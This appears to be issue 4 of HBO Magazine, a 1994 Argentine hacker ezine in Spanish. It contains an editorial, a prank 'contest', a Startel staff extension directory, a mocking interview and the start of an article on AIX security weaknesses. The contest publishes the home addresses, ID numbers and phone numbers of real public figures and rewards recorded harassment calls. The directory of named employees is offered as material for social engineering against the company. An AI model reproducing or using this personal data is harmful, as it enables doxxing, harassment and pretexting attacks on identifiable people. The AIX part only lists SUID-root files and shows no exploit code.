------------------------------------------------------------------------------
 
                             H B O    M a g a z i n e
 
------------------------------------------------------------------------------

                 Hacked by Owls Magazine, Volumen 1 - Numero 4.
                   X de Agosto de 1994 - X de Febrero de 1995
                                     r.i.p
 

Indice
======

   Editorial...............................................0x01040000
   CONCURSO - HBO te lleva al mundial......................0x01040001
   Guia de internos de STARTEL.............................0x01040002
   ENTREVISTA: Habla un  1 |> () |_ (): El Chacal..........0x01040003
   AIX: El hijo deforme de IBM #1..........................0x01040004
        1. Inseguridad en AIX #1 <--- por OPii
        2. Comunicaciones en AIX #1 <--- por Saltamontes
   My First Backdoor Toolkit #2 ...........................0x01040005
        1. The same old port listener <--- por Logical
                                         & Backdoor
        2. UDPCMD.C      <--- por OPii
   READSHIT................................................0x01040006
         NONAME00.ASC <--- por Janx Spirit
         NICE.TXT     <--- por Saltamontes
   KP: El primer Blue Boxer por Speaker <--- por [ME]......0x01040007
   Hacking for Dummies #1..................................0x01040008
                 ^------ by Janx Spirit & Logical Backdoor
   Fe de Erratas: Rebeldes con causa.......................0x01040009
   Correo..................................................0x0104000A
   ContactUs...............................................0x0104000B
   Agradecimientos.........................................0x0104000C
   Disclaimer..............................................0x0104000D
   NMIORP
    (Naturaly Misconducting
    Interpolation Of Random
    Patterns)..............................................0x0104000E

                    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

HBO-Staff
=========

 Logical Backdoor.
 OPii.
 Janx Spirit.
 Saltamontes.

Colaboradores
=============
 [ME]

 
            "That is not dead which can eternal lie,
            and within strange aeons even death may die."
                                         & Aleister Crowley magic(k)
 

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a

mQCNAi9BgOMAAAEEAMMDX1Q+3cdTT46jCb1Ci8AvnlDpwMIcVeCJtcgvoooRQdcg
fQa0Z6M4itw1DsVjp0HwUbW8tFJ5pOrxDCnBwE6AWA8G+rdiprzqSHvUwANfd7Xv
so8YjcYjl9FhzIi1EdyLr5D17OWXuPe/pUocCDWROQVRaLi4mYS4UnP1OtclAAUR
tANoYm8=
=MqVM
-----END PGP PUBLIC KEY BLOCK-----
 

                    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

0x01040000 - Editorial
======================

   Les guste o no les guste, HBO esta de vuelta con su numero 4,
debido a la perdida de toda la informacion en nuestros rigidos nos quedamos
sin los numeros 2 y 3 de la revista asi que quien la tenga subala a nuestro
BBS inexistente o a cualquier otro lado.

   Como recordaran, en el numero 2, hablamos de Startel S.A. y
proporcionamos la terminologia y los medios (IURs) para conectarse con el
mundo. Ahora, damos la informaci¢n ne'saria para que logren eso por sus
propios medios (hagan algo, parasitos!).

   Tenemos tambien la presencia estelar de el autentico, el unico, el mas
grande hAq3R argentino de todos los tiempos contandonos sus aventuras...

   Ademas, se  larga el Gran  Concurso HBO que  los llevara al  mundial
Francia 1998 (porque no todo esta perdido!, todavia queda mucho por
perder... no Balbo????????).

   Y como siempre las notas tecnicas que nunca quisiste y ahora no te
damos, revalidando una vez mas nuestro compromiso con la excelencia en
el campo de las comunicaciones y la informatica. (argh!)

   Este numero empieza a cubrir en profundidad los detalles tecnicos de
como manejarse en una de las variedades  de Unix mas infames jamas vista...
Si, si, el A.I.X. de IBM.

  Bueno, ahora un mensaje de nuestros patrocinadores, y recuerden
manden sus 'participaciones' al concurso... despues de todo, solo
faltan cuatro a¤os para el proximo mundial.

PD: [7 meses mas tarde...]

    Bueno,  aun aca se encuntra la  revista, sin terminar pero con muchas
novedades. Ahora el concurso perdio un poco la gracia, ya que cuando fue
escrito todavia estabamos con la leche de haber jugado para el orto y para
colmo perdido rapido.

     El retraso se debio principalmente a: UNA GRAN PAJA.

     Sepan disculpar nuestras actitudes pero calculamos estaran mas que
contentos con este numero ( y sino, saben...).. El proximo numero lo
estimamos para  junio (de que anio?). Y bueno, si alguien desea colaborar
mandenos sus textos asi nos reimos un poco. El editor del mes pasado es mas
pajero que nosotros, lo que es mucho, asi que esta edicion la editamos
(santas redundantes redundancias batman) de a cachos Yo(1) y Yo(2), y Yo3()
hijoputa.
 

pie:
Yo(1): Janx Spirit
Yo(2): Logical Backdoor
Yo3(): OPii
 

================================================================================

             [ Asegura tu futuro con HBO void *Courses         ]
             [ Data entry................    2 horas           ]
             [   2 teclados por alumno.                        ]
             [   Configuraciones Dvorak/Qwerty/Kanji           ]
             [ Operador MESS-DOS Jr. ....... 35 mins.          ]
             [  - Comandos basicos MESS-DOS:                   ]
             [      FDISK,FORMAT,DEL,CTTY                      ]
             [  - EDLIN avanzado                               ]
             [  - MemBreaker                                   ]
             [  - HalveDisk                                    ]
             [  - DumbDrive                                    ]
             [ Operador MESS-DOS Sr. ....... 20 mins.          ]
             [  - Rompiendo los 640K                           ]
             [  - Rompiendo los SIMMS de 1MB.                  ]
             [  - Rompiendo todo el resto                      ]
             [  - Mal uso de la memoria: como y cuando?        ]
             [  - Por que no?                                  ]
             [ Programador Jr. .............  5 mins.          ]
             [  - Diagramas de flujo vaginal                   ]
             [  - Interpretes vs. compiladores                 ]
             [  - Generacion de codigo aleatorio               ]
             [  - Iteracion infinita (10 GOTO 10 ?)            ]
             [  - Cold vs. warm reboot                         ]
             [    Three fingers salute                         ]
             [    Alt+Ctrl-251.2                               ]
             [ Programador Sr. .............  2 mins.          ]
             [  - Lenguajes de 4ta. generacion                 ]
             [  - Lenguajes de 4ta. dimension                  ]
             [  - Lenguajes de 4ta.                            ]
             [  - Manejo de interrupciones en LOGO             ]
             [  - Interrupcion del manejo de                   ]
             [    interrupciones                               ]
             [  - Interrupcion de la interrupcion del          ]
             [    manejo de interrupciones                     ]
             [  - Recursividad infinita: Para que sirve?       ]
             [ Operador Windork ............. 33.7 secs        ]
             [  - Teoria cinetica del mouse                    ]
             [  - Customizacion del entorno                    ]
             [    (empapelado higienico, fotos XXX)            ]
             [  - Re-instalacion de la re-instalacion de       ]
             [    la re-instalacion de applicaciones           ]
             [  - Mensajes de error:                           ]
             ["Not enough memory to complete the operation"    ]
             [              [OK]   [OK]                        ]
             [   Generacion rapida de UAEs                     ]
             [ Operador Multimediocre.......  10e-33 secs.     ]
             [  - Opere su MacIntrash a la velocidad de la luz ]
             [  - NoBus, LocalCrap, EtherDeaf                  ]
             [  - Configurando su monitor a 23 Ghz.            ]
             [  - 2e125 tonos de grises                        ]
             [  - Degaussing como lo hacen en la fabrica...    ]
             [                                          &n ]
             [   Salida laboral garantizada, todos los cursos  ]
             [   desde: $1.200.000                             ]
             [   Llamenos al : 954-3994                        ]
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x01040001 - CONCURSO "HBO te lleva al mundial"
===============================================

  ...........................................................................
  .          GRAN CONCURSO  "HBO te lleva al mundial (Francia 1998)"        .
  ...........................................................................

El mundial NO termino para la Argentina, y HBO, en un esfuerzo de produccion,
[ Musica de Torneos y Competencias ] te ofrece la UNICA oportunidad de ir
al mundial Francia 1998, llevando una remera original HBO.
No hacen falta tapitas, ni figuritas ni sorteos de mierda!.
Eso si, tenes que llamar por telefono...
Pero no a nosotros!
Con llamar a cualquier miembro del EQUIPO HBO y grabar la conversacion GANAS
una remera (QUE ESPERABAS, UN PASAJE? IDIOTA) original HBO a eleccion:

    1) Modelo "To hell with Startel!"
    2) Modelo "Sold my soul to HBO..."
    3) Modelo "Hacked By Owls - s00 FU<|<1nG K00l!!!"

Condiciones:
  - Se *DEBE* reconocer la voz del  jugador/jugadora.
  - La conversacion tiene que tener algun sentido. Nada de:
    "Hola Diego? Sos lo mas grande que hay!!!! (click)" o
    "H-h-h-ola Zulema? jijijijiji (click)"
  - Duracion minima de 1.5 mins.
  - Se *DEBE* indicar dia y hora de la comunicacion.

Premio especial:

  1) Aquellos que se levanten a alguna de las jugadoras (es obvio cuales!)
     se haran acreedores a una comida china con el staff HBO.
     (y las amigas de la jugadora!, o sea el concepto es SOCIALI-ZEN!)
   2) Aquellos que logren la comunicacion con Diego se haran acreedores a
      una comida en una pizzeria con el staff HBO.

Ganadores:
 
   Los ganadores, deben indicar  como localizarlos en nuestro BBS y/o
dejar el .VOC, .WAV, etc. de la conversacion. Deben indicar dia y hora
de la comunicacion ** SI O SI **.

PS:
   Este concurso perdio toda su sorpresa gracias a personajes de
   nefasta reputacion que publicaron los datos y telefonos antes
   de tiempo. Lolamento, si la mayoria de los fonos estan dados
   de baja es porque miles de giles llamaron para  joder y ni
   siquiera grabaron las conversaciones, se  perdieron los
   premios, bobos.
 
 

                           LA SELECCION DE HBO
-------------------------------------------------------------------------------
                               ISLAS LUIS
                                415-9264
 

   YOMA ZULEMA   RUGGERI OSCAR   MENEM ZULEMA MARIA   GIMENEZ SUSANA
     447-1484      415-9270         412-1494              449-6001
 

             PELERITTI CAROLINA           CALLEJON MARIA FERNANDA
                  444-5252                      822-9932
 

                                ROMANO GERARDO
                                   445-0953
 

                    MARADONA DIEGO ARMANDO
                          440-4429
 

       CANIGGIA CLAUDIO                  BATISTUTA GABRIEL
           415-9267                          415-9255

-------------------------------------------------------------------------------

Fichas personales:
-----------------

Jugadora :       PELERITTI CAROLINA
D.N.I.   :       2229826961
Direccion:       ZABALA 2515 2 PISO "F"
                  0001  Capital Federal
Tel      :       42-3245/784-7063
Movicom  :       444-5252                               & CALLEJON MARIA FERNANDA
Obs.     :       Excelente delantera. Pero la ponemos de defensa para que
                 pare a los contrarios.

Jugador  :       MARADONA DIEGO ARMANDO
D.N.I.   :       1427657961
Dierccion:       SEGUROLA 43107
                  1419 Capital Federal
Tel      :       415-9251
Movicom  :       440-4429
Obs.     :       Es un poco peor que San Filippo, pero a la gente parece no
                 importarle.
 

Jugador  :       CANIGGIA CLAUDIO
Pasaporte:       1141120061
Direccion:       QUINTANA 7857
                  1429 Capital Federal
Movicom  :       415-9267
Obs.     :       Mientras juega, tratar de comunicarse con la esposa...
 

Jugador  :       RUGGERI OSCAR
D.N.I.   :       1109604961
Direccion:       ING MARCONI 2453 OLIVOS
                  1636 Buenos Aires
Movicom  :       415-9270
Obs.     :       Sacate la pata de palo, muerto!
 

Jugador  :       GOYCOCHEA SERGIO
Direccion:       MARCONI 2457 OLIVOS
                  1636 Buenos Aires
Movicom  :       415-9261
Obs.     :       Te comiste todos los amagues pibe...
                 -"Si yo hiciera esto dejaria sin palabras a muchas personas..."
                        (fotito de goyco atajando UNA pelota)

Jugador  :       ISLAS LUIS
Direccion:       MAESTRA BALDINI 1651 CASEROS
                  1678 Buenos Aires
Movicom  :       415-9264
Obs.     :       Golescu el de tiro libre eh?
 

Jugador  :       ROMANO GERARDO
Movicom  :       445-0953
Obs.     :       Balin!
 

Jugador  :       BATISTUTA GABRIEL
Movicom  :       415-9255
Obs.     :       Lo que te devoraste, Gabriel Omar...
 

Jugadora :       YOMA ZULEMA
Movicom  :       447-1484
Obs.     :       Cuida el area tanto como las valijas.
 

Jugadora :       MENEM ZULEMA MARIA
Movicom  :       412-1494
Obs.     :       40.000 dolares en un shoping? aha.
 

Jugadora :       CALLEJON MARIA FERNANDA
D.N.I.   :       17573419
Direccion:       PTE. URIBURU 1234  PISO 7 DTO A
                  1114  Capital Federal
Tel      :       822-9932
Movicom  :       444-5578 Nro dado de Baja
Obs.     :       Haceme pressing... BURRRRAAAAAA!
 

Jugadora :       GIMENEZ SUSANA
Direccion:       3 DE FEBRERO 1931 PISO 28 "B"
                  1426 Capital Federal
Tel      :       786-1884
Movicom  :       449-6001
Obs.     :       dialogo registrado a las 4:30 de la madrugada:
                 - "Hola Susy?, estas divina!"
                 - "uhh?... andalaconchaquetepario"
                 - "Susy, Susy, te adoro"
                 - (Click)
 
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x01040002 - Guia de internos de STARTEL S.A.
=============================================
trashed & compiled by HBO

  Para los que gusten de practicar un poco de Social Engineering, los muchachos
de HBO hemos preparado un platillo estupendo:
  En esta primer entrega les presentamos una guia de TODOS los internos de
STARTEL S.A. [ver 0x01020005 (HBOMAG volumen #1, nro #2, file 0005)]

... y recuerden: El nombre correcto es IUR, I U R...Identificacion
Usuario de Red.
 (si no saben que decir no digan nada - HBO: Tu mejor opinion es el silencio)

Pd: La revista que viene sale con un mapa del edificio.

Planta Baja
~~~~~~~~~~~
1001      Almacen
1052      Laboratorio
1054      Laboratorio
1055      Laboratorio
1003      Libreria
1053      Lietti Norberto
1056      PBA. Modem
1057      PBA. Modem
1051      Sala de escucha

1002      Fax Almacen         313-9492
 

1er Piso Comercial
~~~~~~~~~~~~~~~~~~
1117      Barbieri Florencio
1103      Bravo Laura
1114      Caja Admin. Comercial
1166      Castillo Mirta
1110      Centurion Monica
1108      Clemente
1167      Delewski Alicia
1111      De Rosa Juan C.-R.-
1106
1108      Di Paola Gabriel
1102      Escaboza Teresa
1104      Fernandez Edgardo
1108      Fracineti Amelia
1107      Hiriart Peggi
1113      Irastoza Ruben
1155      Leguizamon E.
1151      Marciari Silvia
1156      Pagano Dante
1105      Politis Olga (reclamo)
1153
1101      Rivera Otero F.
1159      Recepcion 3er piso
1109      Tamburino (TELEX)
1164      VIDEOTEX
1165      VIDEOTEX
1168      VIDEOCONFERENCIA

          FAX                 315-1049
          TELEX               29000 GUIATX AR
                              28421 DEMO AR

2do Piso
~~~~~~~~
1208      Araujo Eduardo
1205      Basualdo Cristina
1217      Balmaceda
1209      Benitez Marcelo
1201      Bergonzelli Ernesto
1287      Bevaqua Flores
1268      Bort Guillermo
1273      Cavallari Andrea
1210      Cadaval Alberto
1281      Contestador Automatico
1296      Damonte Daniel
1220      Dell' Arciprette Daniel
1204      Diaz Olga
1218      Dirrenzo Horacio
1274      Di Francesca Graciela
1259      Garcia Claudio
1219      Garcia Delfin
1253      Giudice Roberto
1260      Gimenez Patricia
1255      Fano Gustavo
1267      Fell David
1203      Ferraro Oscar
1271      Fernandez Jorge
1276      Folino Susana
1285      Fuster Frank
1272      Jonin Alberto
1268      INFONET
1269      INFONET
1256      Lefevre Patrick
1264      Lombardo Roque
1254      Mazzia Ricardo
1261      Maldonado Marta
1206      Mobilia Juan
1265      Menteni Carlos
1263      Martignioni Susana
1278      Ortega Mariela
1279      Ortega Mariela

(atencion al cliente)
806-6000/6021/6112/6252

1213      Ramirez Carlos
1275      Recepcion 2do Piso
1270      Rey Carlos
1212      Rodriguez Carmen
1257      Secretaria de Lefevre
          (Srta. Silia Perez)
1215      Secretaria de Ramirez
1202      Secretaria de Bergonzelli
          (Srta. Paula Gonzales)
1258      Secretaria de Fernandez
          (Srta. Claudia Cogliati)
1286      Spiritozo Ricardo
1251      Waitz Jorge
1280      Fax: 806-6000
1283      Fax Dir. Comercial  313-8900
 
          TELEX 27752 STRTEL AR

3er Piso
~~~~~~~~
1382      Aon Luis
1355      Alvarez Gabriel
1368      A¤on Suarez Alejandro
1364      Biga Daniel
1303      Botella/Esquivo
1379      Diaz Raul
1361      Delfino Jorge
1366      Douce Enrique
1308
1309
1304
1313
1365
1318
1371      FAX Nocera
1381      Farias Juan Carlos
1378      Hernandez Carlos
1317      Jaspe Raquel
1362      Jabobs Eric
1371
1353      Maccarini Angel
1365      Morales Gustavo
1369      Morales Jorge OD
1377      Mui¤a
1311
1374      Nocera Jorge
1372
1363
1372      Padularrosa Humberto
1351      Preziuzo Roberto
1373      Randazo Nilda
1398      Recepcion 3er piso
1302
1352
1301      Romeo Jose M.
1354      Sagaseta Hugo
1360      Secretaria de Alvarez
          (Sra Alicia Repossi)
1359      Vallejos Ricardo
1305      Secretaria de Romeo
          (Srta. Graciela Gonzales)
1306
1307
1310      Stiuso Beatriz
1356
1304      Zanetich Aldo
1367      Zerar
1397      MODEM piso 3
1350      FAX piso 3

6to. Piso
~~~~~~~~~
1601      Aiscurri Jose L.
1666      Bevaqua
1609      Botaya, Beatriz
1617
1611
1696      C. TX. RPBLC.
1623      C.T.I.
1660      Cazzola
1669      Centro de atencion Averias
1670      Centro de atencion Averias
1671      Centro de atencion Averias
1672      Centro de Atencion Averias
1653      Cillo Santiago
1614      Coachaca Hugo
1665
1664
1608
1602
1675      Deciancio Horacio
1610      Dorich Mario
1625      Esquerdo Fabio
1673      Flores
1674      Galibert
1604
1620      Galeano Alberto
1603
1619
1695      GESTION
1682      Grancho Jorge
1651      Kustra Oscar
1680      Lapietra Mario
1679      Legarreta Ignacio
1663      Lopez Domingo
1675
1655      Moles Valenzuela
1607
1613      Nestor Christian
1604      Parente Nestor
1662      Pumareda Eduardo
1675      Rebecky Sergio
1679
1621      Romano Miguel
1652
1654      SALA DE REUNION
1624
1658      Secretaria de Cillo
          (Srta. Mary Montoya)
1656      Secretaria de Kustra
          (Srta. Irene Rivero)
1659      Secretaria de Moles
          (Srta. Lucia Abadie)
1612
1622      SEGURIDAD 6TO. PISO    (Nieva, Norberto Jesus   Legajo: 145.945-2)
1681
1699      (CUYO)
1698      (TLCHN)
1697      REPUBLICA DATOS
1696      REPUBLICA TELEX
1693      RETIRO DATOS
1665      Tagliabini
1694      TELEGRAFIA
1682
1605      Villambrosa Carlos
1676      FAX EXPLOTACION     (313-9992)
1677      FAX GESTION DE RED  (313-5801)
                              Telex: 27987 STAREX AR

7mo. PISO
~~~~~~~~~

1726
1777      Aristegui norma
1707      Basile Domingho
1768
1717      Bagnasco Oscar
1715      Bianchi Christian
1764
1761      Botte Lerch Cristina
1778
1752      Calderazi Jose Maria
1760      Carrizo Oscar
1762      Carballo elida
1728      Casazola Cecilia
1753      Ceravolo Omar
1763
1711      Davolo Paula
1705      De Filippo Horacio
1703      Dangelo Hector
1725      Diaz Alberto
1769      Duacastella Luis
1706      Fernandez Roxana
1779      Figgini Silvia
1719      Graciano Alejandro
1766      Insua Alicia
1722      Lopez Pesci Ezequiel
1774      Ludue¤a Atilio
1776      Machado Gustavo / Macipe tomas
1774      Machaczko Marcelo
1770      MODEM
1704      Molinari Eugenio
1775      Morgera Alicia
1777      Nochi Silvia
1729      Nouzeillies
1751      Parada Carlos A.
1730      PC BANCO RIO
1719      Perez Raul
1701      Pommares Carlos
1755      Portero Castro Fernando
1710      RECEPCION (PERS./FIN.)
1767      RECEPCION PISO 7
1765      Romero Adriana
1712      Romero Silvia
1727      Russino Raul
1720      Santos Viviana
1760
1759      Secretaria de Ludue¤a
          (Srta. Marcela Peralta)
1709      Secretaria Pommares / Molinari
          (Srta. Viviana Rodriguez)
1773      Secretaria de Portero Castro
          (Srta. Cynthia Bezobohaty)
1708      Secretaria de Tommasi
          (Srta. Belen Wagener)
1758      Secretaria de Calderazi
          (Srta. Claudia Constela)
1756      Secretaria de Parada/Villambrosa
          (Srta. M. del C. Proscopio)
1714
1702      Tommasi Raul
1706      Torres Andrea
1780
1732      Zamora Ana Maria
1772      FAX DIRECTO RECEPCION 7MO.    (313-8011)
1731      FAX PERSONAL                  (313-3011)
1721      FAX DIRECTO FINANZAS          (312-4827)

          TELEX: 17205 STARPE
                 27985 STARCO

8vo. PISO - DIRECCION GENERAL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1851      Wojciechowski Marc
1802      Jalle Enrique
1805
1812      Cacchione Guillermo / Florencia
1854      Di Lillo Osvaldo
1806
1855
1852      Fontan Guillermo
1876
1868
1853      Laurentie Yves
1869
1809      PRUEBA MINITEL MARC
1864      RECEPCION 8vo. PISO (311-0220) Domingos: Sr. Nieva
1807      SALA DE REFRIGERIO
1805      SALA REUNION DIRECTORIO
1865      SALA REUNION GABINETE
1860      Secretaria de Di Lillo
          (Srta. Carmen Lopez)
1863      Aux. Secr. Di Lillo
1859
1858
1857
1861
1858      Secretaria de Fontan
          (Srta. Alejandra Capelli)
1803      Secretaria de Jalle
          (Srta. cristina Andino)
1810      Aux. de Cristina
1899      CENTRAL TELEFONICA P.B.
1866      FAX GABINETE        (313-1663)
1808      FAX DIR. GENERAL

9 CONMUTADOR
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x01040003 - Habla un Idolo
===========================
Hoy: El chacal.

Luego de sacudirnos el polvo decidimos vencer nuestros temores y encarar al
profeta del hacking en Argentina. No lo encontramos, asi que entrevistamos
al Chacal. Esta nota es un estracto (lo que nuestras mentes recuerdan) de
una conversacion que mantuvimos durante GonzoCon'94 en el puesto de
choripanes de la recoleta. Si lo que nos acordamos esta todo mal no
importa, les va a dar una idea de como es el chabon que sale en los diarios
mas que nosotros diciendo huevadas peores que las nuestras acerca del
ciberespacio y el mitico Altos.

Descripcion de su persona:
Pelo decolorido con aguarras, agua oxigenada, o los restos de lo que se
mete por la nariz.
Hermosos pantalones milicos, con los que el dice visita a sus clientes
(recordemos que ahora trabaja en seguridad)
Remera muy fea diciendo: Soy Puto    (bueno, nonos acordabamos asi que
tuvimos que inventar).
Una novia por lo menos 14 anios menor que el, pero no la llevaba  puesta en
ese  momento, asi que olvidemosla. Al que si llevaba puesto era a un
amiguito de pelo largo negro con cara de gay que algunas veces se prendia
en la conversacion con comentarios como : te acordas mi amor de cuando no
se que mierda? o cosas por el estilo (give or take a lie or two)

Nuestra conversacion se centro en un punto que seria repetido  muchas veces
a lo largo de la tarde:
Hacked By Owls: Por que en el diario decis tantas huevadas?
El Chacal: Por que huevadas?
HBO: - como, vas a negar que decis huevadas?
     - eso chabon, toda esa mierda del ciiiiberspace...
     - y lo de  Altos ehh, ehh, (apuntando con el dedito) ehh, que pasa con
     lo que dijiste  del mitico altos ehhhh. contesta.
     [recordar que nosotros  somos mas asi que nos aprovechamos de eso]

E(l)C(hacal): Pero no son huevadas, sabes lo que pasa... yo te explico
[H, B y O  intercambiamos miradas]
EC: ... lo que pasa es que cuando vos vas a hablar en un medio de
comunicacion grosso, que va a llegar a un pedazo de gente, y vos queres
transmitir un mensaje, tenes que matizar...
HBO: ahha, y el mensaje que vos querias transmitir es que el ciberspace
queda en Altos?
EC: (masticandose el choripan) no chabon, no me bardees, lo que pasa es
que bueno... vos le tenes que dar a la gente lo que la gente  quiere
escuchar, mentendes, y despues bueno, despues tratas de  filtrar tu mensaje
ahi en el medio, entre el resto.
HBO: - ahhh, entiendo, en el medio de toda la bosta decis vos?
     - si,si, de todas esas  pelotudeces que decis  en el diario no?
     - si, de tus comentarios vergosos desagradables estupidos e
     incoherentes sobre el ciberspacio...
     [Nos empezaba a gustar esta conversacion]
EC: ehhhh
El amiguito de EC(EADEC): para, chabon... nosotros en una epoca eramos como
ustedes, y odiabamos a la gente mas grande que  salia en el diario,  pero
alguien lo tiene que hacer...
      [HBO ignorando completamente a EADEC]
HBO: - pero, que necesidad tenes de decir tantas boludeces?
      [mas claro echale lo que le echa el chacal a su pelo(y nariz)]

EC: Lo que pasa es que vos decis  boludeces para que te publiquen entendes,
para salir en el diario...| HBO: Diciendo boludeces | EC:...  para despues
poder metere tu mensaje.. | HBO: pero lo unico que salian son  boludeces |
EC: ... escuchame, lo matizas con boludeces pero .. | HBO: pero si solo
salian boludeces | EC: .... pero metes tu mensaje | HBO: que es una boludez
a juzgar por lo que salia... | EC: (perdiendo un poquito el aplomo) ehhh...
ustedes no entienden loco, mira... cualquiera que sepa te lo va a poder
decir...
(a todo esto se habia sentado en la mesa hacia un ratito un Holandes de
HackTic que era  periodista, y no entendia nada lo que estaba pasando, y
pretendia comprar un cafe con leche en el puestito de choripanes...)
EC:... mira, el es periodista (senialando al Holandes de HackTic
(HDHT))... ehhh (suicheando a inglish mode, the  chacal (TC))how do you do
mr periodist, esteee, when you write something tipoo, aahhh  [traduccion
simultanea desde caracas venezuela]    cuando queres escribir algo  en tu
punietero diario, para que la gente lo lea, no escribis lo que la gente
quiere escuchar, lo que esta de moda... y despues en el medio le mandas lo
que queres decir??  (espectante)
HDHT: (tratando de traducir al ingles lo que le dijo The Chacal para ver si
lograba comprender) uhmm,  NO. i don't do that. [traduccion venezolana del
orto: NO, yo no hago eso. yo escribo lo que quiero decir y trato de
acostumbrar a la gente a que lea las cosas como son...]

TC o EC: (no dandose cuenta de que ya habia perdido) bueno, entendes... eso
es lo que hago yo...
HBO: [nos estabamos entusiasmanddo aun mas con esto] pero, que necesidad tenes
de decir todas esas huevadas?
EC: para que la gente me escuche
HBO: tus huevadas
EC: uhh, che...
HBO: - bueno, bueno (conciliadores)... una cosita mas...
     - decinos esto y nos vamos tranquilos...
     - vos dijiste "Soy el Robin Hood de los 90"?
EC: No mira, lo que pasa es que...
HBO: Para, para... LO DIJISTE O NO?
EC: bueno, pero yo...
HBO: LO DIJISTE,SI O NO?
Robin Hood: Bueno, si... y que?
HBO: hhhmhmpffff jaja hmmmpfheheh jah e uhuhuh uh ahh (intento de
contener las risas) no, hmgfffff, nada...sdjhewiuawebaaaaaaaaaaaaaaaa,
curiosidad no mas .sdfhjssdkjkaskj ahahahahahhaaaahahaha Robin hood
jajjajaja y gonzo(1) quien es, el fraile fuck? ajajajaja uhhmmpssss jajaja
RH, EC o TC: bueno che.... yo les pregunto a ustedes... si ustedes  quieren
comunicar algo, como lo hacen?
HBO: Lee pagina 12  en la semana... ya te vas a enterar.(2)

notas al  pie:
(1) con gonzo nos referimos a Fernando Bosembiante editor de Para Ti, por
lo que gonzocon es la conferencia sobre virus que organizo La revista
MUJER.
(2) Emmanuel Goldstein no hackea telefonos publicos por modem, y
decididamente no nos invento. (contestando rumores, primero HBO)

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 
 

0x01040004 - AIX: El hijo deforme de IBM, parte #1
==================================================

1. In-seguridad en A.I.X. parte #1.
          by OPii

DISCLAIMER: Este articulo es una garcha, podes imprimirlo, enrrollarlo
            y metertelo por el ano. Si tienen dudas sobre algo, preguntenle
            a DarkMind que lleva 2 anios trabajando en UNIX. Yo en realidad
            me manejo mejor con CP/M.

                                          OPii

Son bien conocidos los problemas de seguridad de los sistemas operativos
de Sun Microsystems (SunSoft ahora?!) como el SunOS y su reciente hijo
bastardo del System V Release 4, el Solaris, como gustan llamarlo para
satisfacer su estupida politica publicitaria (bueno, la de afuera, porque
aca no hay). Tal vez pensaron que, como todo el mundo se quejaba del
SunOS desde su mas tierna  version hasta la ultima, especialmente la
4.1.x, debian cambiarle el nombre para que la gente se "olvide" que
de ultima es un SunOS 5.x...
 

Al parecer, I.B.M. esta intentando igualar o superar la cantidad de bugs
de Sun en su propio sistema operativo UNIX, el infame AIX (aka AIDX).
Despues de todo ellos son I.B.M. y nadie va a venir a decirles como se
deben hacer *MAL* las cosas no?. Esto podria ser una estrategia secreta para
publicitar el AIX y dar motivos de conversacion entre los expertos en
sistemas abiertos y administradores, que de otra forma no  tendrian por que
hablar  de algo tan desagradable...

En este file, se presenta una descripcion del esquema de seguridad del
AIX  y se anexa un listado de todos los problemas conocidos *publicamente*,
lo cual no significa que no haya otros... ES MAS, cualquiera con acceso
a un AIX puede ver estas cosas por si mismo y obviar este file, no hay
ninguna informacion "ultrasecreta" aca...

No pretendo dar detalles especificos de como hacer uso de estos problemas ni
proporcionar programas para eso, esta es una simple descripcion y el uso
que se haga de ella ni me importa ni es mi responsabilidad.

Supongo que quien lea esto tiene conocimientos generales de UNIX y sabe de
que se esta hablando cuando menciono files,directorios y comandos.
Por otro lado, el AIX tiene una cantidad de archivos y comandos que  no
se encuentran en un UNIX standard, con formatos de files propietarios y
manejo de drivers y dispositivos tambien en forma no standard (ver otros
files de HBOmag #4 y HBOmag #3).

Por ultimo, de acuerdo con mi experiencia, el AIX junto con el S.C.O son
las versiones de UNIX que mas se encuentran en los sistemas abiertos de
Argentina,  por lo  tanto supongo que este file sera de utilidad para todos.
 
Introduccion
~~~~~~~~~~~~
  El esquema de seguridad del AIX es similar al de cualquier UNIX, sin embargo
hay una serie de commandos y files agregados que proveen mayor seguridad
si se los usa ,aunque jamas encontre una RS6000 corriendo AIX con todas las
medidas de seguridad adicionales activadas. De todas formas, activar dichas
medidas implica un trabajo extra de planificacion y mantenimiento considerable
y es obvio que el 99.9% de los administradores no lo piensan hacer, ademas de
no necesitar mayor seguridad...
  Como la mayoria de los UNIX modernos, los scripts con SUID no tienen
ningun efecto, existe una cantidad inusitada de programas SUID root, muchos
de ellos son ligeras variaciones del mismo programa, esto es de entrada
( a mi parecer eheh) una completa estupidez, con el afan de hacer la cosa
mas 'user-friendly' ponen un monton de programas que hacen cosas que muy
bien se podrian hacer con los tools comunes de cualquier UNIX.
  Por otro lado, el AIX tiene facilidades de seguridad (Trusted Computer Base,
trusted paths, ACLs, etc.) que puestas en practica proporcionan un ambiente
de trabajo completamente opresivo para el usuario, y hace que este desee
con todas sus ganas que la maldita CPU estalle.
 
Algunos files SUID root:
~~~~~~~~~~~~~~~~~~~~~~~~
-rwsr-xr-x   1 root     system    307128 09 Ene 1992  ./usr/lpp/X11/bin/aixterm
-rwsr-xr-x   1 root     system    365203 09 Ene 1992  ./usr/lpp/X11/Xamples/bin/xterm
-rwsr-xr-x   1 root     system     43622 18 Dic 1991  ./usr/lpp/X11/Xamples/bin/xlock
--wsr-sr-x   1 root     system         0 15 Ago 14:06 ./usr/lpp/inu_LOCK

-r-sr-xr--   1 root     system     15773 15 Ago 17:48 ./usr/lpp/bosnet/inst_U403370.save/update.1
-r-sr-xr--   1 root     system     31545 15 Ago 17:48 ./usr/lpp/bosnet/inst_U403370.save/update.2

Uhg, ver CERT advisories acerca de esto... Los permisos esta modificados...

